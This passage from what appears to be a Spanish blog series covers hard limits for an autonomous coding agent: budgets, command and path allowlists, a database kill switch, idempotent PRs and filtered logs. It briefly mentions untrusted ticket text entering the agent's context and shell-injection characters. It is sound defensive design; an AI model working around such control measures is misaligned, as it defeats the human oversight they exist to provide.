  • Los límites mal calibrados fallan tareas buenas. Un tope de iteraciones demasiado bajo convierte tareas resolubles en max_iterations. Por eso el motivo de parada se guarda: la distribución te dice si el problema es el agente o tu calibración.
  • La observabilidad tiene su propio riesgo. Los logs de un agente contienen prompts, archivos y salidas de comandos. Sin truncado y sin filtro de secretos, acabas de crear un lugar nuevo donde se filtran credenciales.
  • Nada de esto hace al agente confiable, solo acotado. Los límites impiden que una corrida mala se convierta en un desastre. No hacen que el cambio sea correcto; eso lo sigue decidiendo quien revisa el PR.

Preguntas frecuentes

¿No basta con pedirle en el prompt que no haga cosas peligrosas?

No. El prompt influye en la decisión del modelo, y funciona la mayoría de las veces, pero no es una garantía: el modelo puede malinterpretar el pedido, llamar a una herramienta con argumentos inesperados, o recibir en su contexto texto que no escribiste tú —el de un ticket, por ejemplo—. Un límite duro se aplica en el código que ejecuta la acción, después de que el modelo decidió, así que no depende de nada de eso. La regla práctica: si el incumplimiento te causa un problema serio, va en el código; si solo te causa una molestia, puede ir en el prompt.

¿Qué valores le pongo a los topes de iteraciones y tokens?

No hay números universales, dependen del tamaño de tus tareas y del modelo que uses. El método sí es general: empieza conservador, guarda el motivo de parada de cada corrida y mira la distribución después de unas decenas de tickets. Si max_iterations domina, o tus tareas son demasiado grandes o el feedback de tus tests no orienta al agente. Si casi nunca corta ningún límite, puedes ajustarlos hacia abajo y ahorrar. Calibrar con tus propios datos es más útil que copiar los valores de otro.

¿Cómo evito que el agente ejecute comandos peligrosos?

Con dos decisiones. Primero, que la herramienta reciba un ejecutable y una lista de argumentos en vez de una línea de shell: así, sin shell de por medio, un ; o un $(...) dentro de un argumento son texto literal y la inyección de comandos desaparece por construcción. Segundo, una allowlist de ejecutables permitidos con reglas sobre sus argumentos, donde lo que no está listado se rechaza. Ten presente que si en esa lista hay un intérprete —node, python, npm test—, el agente puede ejecutar código igual; eso lo contiene el sandbox, no la allowlist.

¿Dónde debería vivir el kill switch?

En la base de datos, en la misma tabla de la cola: una columna stop_requested por ticket y una fila global para pausar el sistema entero. No en una variable de entorno, porque cambiarla obliga a reiniciar, ni en memoria, porque no cruza entre procesos. Súmale un apagado forzado —matar el contenedor de la tarea— para los casos en que el loop está bloqueado y no llega a consultar la bandera. Y documéntalo: si solo tú sabes cómo pararlo, el sistema depende de que estés disponible.

¿Cómo evito que un reintento abra dos pull requests?

Derivando la identidad del efecto de la clave del ticket y comprobando antes de crear. La rama se llama agent/ENG-1234, no lleva marca de tiempo, así que el segundo intento encuentra la del primero; antes de abrir el PR consultas si ya hay uno abierto para esa rama y, si existe, empujas los commits nuevos en vez de crear otro. Lo mismo con el comentario en Jira: guarda el id que devuelve la API y edítalo. Es la continuación natural de la idempotencia del procesamiento, y hace falta justamente porque los límites duros generan paradas y reintentos.

¿Con estos límites ya puedo dejarlo corriendo sin mirar?

Puedes dejarlo corriendo sin vigilarlo minuto a minuto, que es distinto de no mirarlo. Los límites evitan que una corrida mala se convierta en un incidente: acotan el gasto, los comandos que puede ejecutar y las rutas que puede escribir, y te dan un registro para entender qué pasó. Lo que no hacen es juzgar si el cambio es correcto. Ese sigue siendo trabajo de quien revisa el PR, y es el punto de control que el diseño reserva a propósito para una persona.

¿Cuánto trabajo es implementar todo esto?

Poco, y esa es la parte contraintuitiva. El presupuesto, las dos allowlists, el kill switch y el registro estructurado son unas pocas decenas de líneas cada uno, y ninguno tiene dificultad técnica. Lo caro está en otro lado: conseguir que los tickets estén bien escritos y que la suite de tests sea rápida, estable y con cobertura real. Sin eso, el agente produce PRs que cuestan más leer que escribir, y ningún límite arregla ese problema.

Conclusión

Los límites duros son lo que separa un agente que enseñas en una demo de uno que dejas conectado a una cola de tickets. Son cinco piezas: un presupuesto por corrida con iteraciones, tokens y tiempo, que termina con un motivo explícito; una allowlist de comandos que no pasa por el shell; una allowlist de paths que compara rutas resueltas y protege .git y las credenciales; un kill switch en base de datos con un apagado forzado detrás; y efectos idempotentes, para que las paradas que provocan esos límites no dejen PRs y comentarios duplicados. Encima de todo, un registro por iteración y por corrida, porque un agente que no puedes observar tampoco lo puedes mejorar.

Si vas a montarlo, este es el orden que rinde más rápido: primero el presupuesto y el motivo de parada, que es lo que te da datos; después la allowlist de paths, que es donde un error hace daño de verdad; después la de comandos; después el kill switch; y al final el registro estructurado. Cada paso vale por sí solo y ninguno depende del siguiente.

Y una vez que están, mira hacia el otro lado. La serie entera construyó un agente que trabaja solo dentro de límites que tú pusiste, pero el techo de lo que puede darte no lo pone su arquitectura: lo ponen tus tickets y tu suite de tests. Los límites duros evitan el desastre; la calidad del input es lo que convierte todo esto en algo que de verdad te ahorra trabajo.

Seguir leyendo